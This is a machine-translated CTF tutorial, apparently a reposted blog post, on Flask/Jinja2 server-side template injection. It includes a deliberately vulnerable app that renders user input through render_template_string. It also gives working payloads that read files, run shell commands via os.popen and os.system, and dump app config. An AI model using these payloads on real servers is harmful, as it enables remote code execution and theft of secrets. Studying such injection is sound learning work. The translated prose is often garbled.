当前位置:网站首页>CTF_ Web: Learn flask template injection (SSTI) from 0

CTF_ Web: Learn flask template injection (SSTI) from 0

2022-06-25 04:31:00 AFCC_

0x01 Preface

Recently, I found that the problems injected by the server-side template are also common in the process of question brushing , These injection topics are similar , The difference lies in the different frameworks 、 Different filtering rules may be required for the final payload Dissimilarity , This article will be Flask As an example, learn about template injection , It is also a record of your own learning .

0x02 Flask brief introduction

Flask It's a Python Compiling Web Microframets , Let's use Python Language quickly realizes a website or Web service . The advantage is that the development is simple , Less code , A lot of work has been implemented in the framework . He and Django differ Django It's an all-around framework , Usually used to write large websites .
and jinjia2、template、Mako And so on are engines that provide functional support for the framework , Each has its own advantages and disadvantages , It is not our main learning content . But we need to know Flask The default engine used is jinjia2, This article will also mainly analyze jinjia2 Injection problem in .
First configuration flask And jinjia2 Engine environment :

pip3 install flask
pip3 install jinjia2

Use this time python -c "import flask" Echo no error message , Prove that the required environment has been installed , Here's a simple example flask Start with examples .

0x03 ordinary Flask Example

#flaskapp.py
from flask import *
from jinja2 import *
app = Flask(__name__)  #  establish FLask class 
@app.route("/")  # Set the default route 
def index(): # Default view function , Binding to routing , Used to handle user access to websites and directories / The case when 
    name = request.args.get('name', 'guest')# The accepted parameter name is name  Parameters passed in 
    html = '''
    <h3>your input %s</h3>
    '''%name # Set up a template html, take name The value of %s Output 
    return render_template_string(html) # take html Render as a string template 
    # Corresponding , When html When it's a file , Use render_template  Function to render a specified file 
if __name__=='__main__': # When starting as the master file 
    app.run(debug = True)  # With debug mode 

Explain by commenting on the above simple example , It can be seen that , A complete and simple Flask frame , By one or more routes (route)、 The bound view function consists of , The view function is used to process the route accessed by the user , Including receiving parameters 、 Create a template 、 Rendering , Operation, etc. , For us , The problem is that render There is no restriction and filtering of user input in the rendering process , Cause malicious code to be injected , Executed the code entered by the user .
When you need to constantly change your code , Recommended Opening debug Pattern , Otherwise, you need to restart each modification py file , More trouble , start-up debug The pattern uses the following statement .

app.debug = True
 perhaps 
app.run(debug=True)

After the above example runs , Will be in localhost:5000 Return to the default page , As shown in the figure :

 Insert picture description here

When the parameter is passed in name when , Will be Template After creating the template, render the content displayed for the page .
For example, incoming name=AFCC_

Now we'll talk about jinjia2 The syntax in the engine , And describe the harm that will be caused if the user input is not restricted .

0x04 jinjia2 Engine injection testing and common payload

stay jinjia2 In the engine :

{
   { ... }}: Load a variable , When the template is rendered , The value represented by this variable will be replaced by the parameter with the same name passed in .
{% ... %}: Load a control statement .
{# ... #}: Load a comment , This intermediate value will be ignored when rendering the template 

The most common test we use is { {}}, Test whether the values in curly braces are controllable and rendered by the template .
for example { {7*7}} or { {7*'7'}}, The returns are :

This shows that the user is { {}} The input in is treated by the engine as a new variable for rendering , At this point, the code execution is satisfied 、 Input controllable basic conditions .
First, let's take a look at some important classes and attributes in the template , To facilitate subsequent calls to the specified sensitive module .
First of all

__class__  Returns the object to which the type belongs 
__mro__ Returns a tuple containing the base class inherited by the object , Method parses in the order of tuples , So this right here is class The class of the returned object .
__base__ Returns the base class inherited by the object , So this right here is class The class of the returned object .
__subclasses__ Returns all subclasses in the base class , Each new class retains references to subclasses , This method returns a list of references that are still available in a class 
__globals__ Reference to the dictionary containing the global variables of the function , includes 
get_flashed_messages()  Back in the Flask Pass through  flash()  List of incoming flash messages . Add a message represented by a string object to a message queue , And then by calling get_flashed_messages()  Method take out ( Flash messages can only be retrieved once , The flash information will be cleared after it is removed ).

Let's test the returned content one by one .
First of all __class__, Here we use an empty string to do the content '', Pass in { {''.__class__}}
 Insert picture description here Returned a string object , Then use __mro__ or __base__ Get the base class of the string object .
It can be seen here __base__ Returns the direct inheritance class of the current class , and __mro__ Returns the tuple inherited by the current class , Contains multiple classes .
So we choose the direct inheritance class as object The object of , Use { {[].__class__.__base__}}, This will return directly to object.
 Insert picture description here

We select from multiple base classes object class , You can see that there are many subclasses in the base class .
What we want to use , There are several utilization points as follows :

One is file Module read function , Used to read various files , Sensitive information, etc . But in
Two is warnings.catch_warnings( You need to import os modular )、socket._socketobject( You need to import os modular )、site._Printer、site.Quitter And other modules os, adopt os Module we can do system Carry out orders (system Execution successful return 0, Will not be displayed on the page .)、popen Pipe read file 、listdir Column directory and other operations .
The third is get_flashed_messages() Get flash information

1.file modular

Find... By index file modular , Use read Function to read files .

{
   {[].__class__.__base__.__subclasses__()[40]('flag.php').read()}}

2.os modular


there [60] Namely warnings.catch_warnings
[133] Namely socket._socketobject, You can see inside os None of them have been imported .
Use it here __builtins__ Medium eval Function import os Module to execute type commands .

{
   {[].__class__.__base__.__subclasses__()[157].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

stay Linux Back in (Linux in 157 yes warnings.catch_warnings


By looking for , built-in os The following two modules can be used directly .
[72]site._Printer
[77]site.Quitter
Use here os.system Carry out orders .

{
   {''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')}}

Browser return 0, On behalf of successful execution , However, you can see the execution results in the debugging information

Of course, differences in the environment will also make the index values different , So we need a script to help us determine the index value of the current environment .
Of course, the most convenient way is to use it directly os Module to execute commands .
Here, all the obtained subclasses are assigned to list, Find the required module after processing .
( Script from Second calculation i

def find():
    list = ""
    list = list.replace('\'','')
    list = list.replace('<','')
    list = list.replace('>','')
    list = list.replace('class ','')
    list = list.replace('enum ','')
    list = list.replace('type ','')
    list = list.replace(' ','')
    list = list.split(',')
    print(list)
    className = 'warnings.catch_warnings' # The name of the module to be searched 
    num = list.index(className)
    print(num) # Returns the index 
if __name__ == '__main__':
    find()

3.get_flashed_messages() Get flash information

Use { {get_flashed_messages.__globals__}} Get global information , You can see a lot of sensitive information here , But the function name also tells us that we can only get information , It is not possible to use and execute modules as above , Here stands for this app The value of itself is current_app
Use config Get configuration information , Of course, here it is config You can get it directly , You can use this method when you are filtered at certain times .( Attack and defend the world Web_shrine)

get_flashed_messages.__globals__['current_app'].config

 Insert picture description here

0x05 Reference article

SSTI Template Injection
python Learning notes ( understand Flask、jinjia2 engine )
Flask Template Injection
Flask-SSTI Precautions and some POC

原网站

版权声明
本文为[AFCC_]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202210534359037.html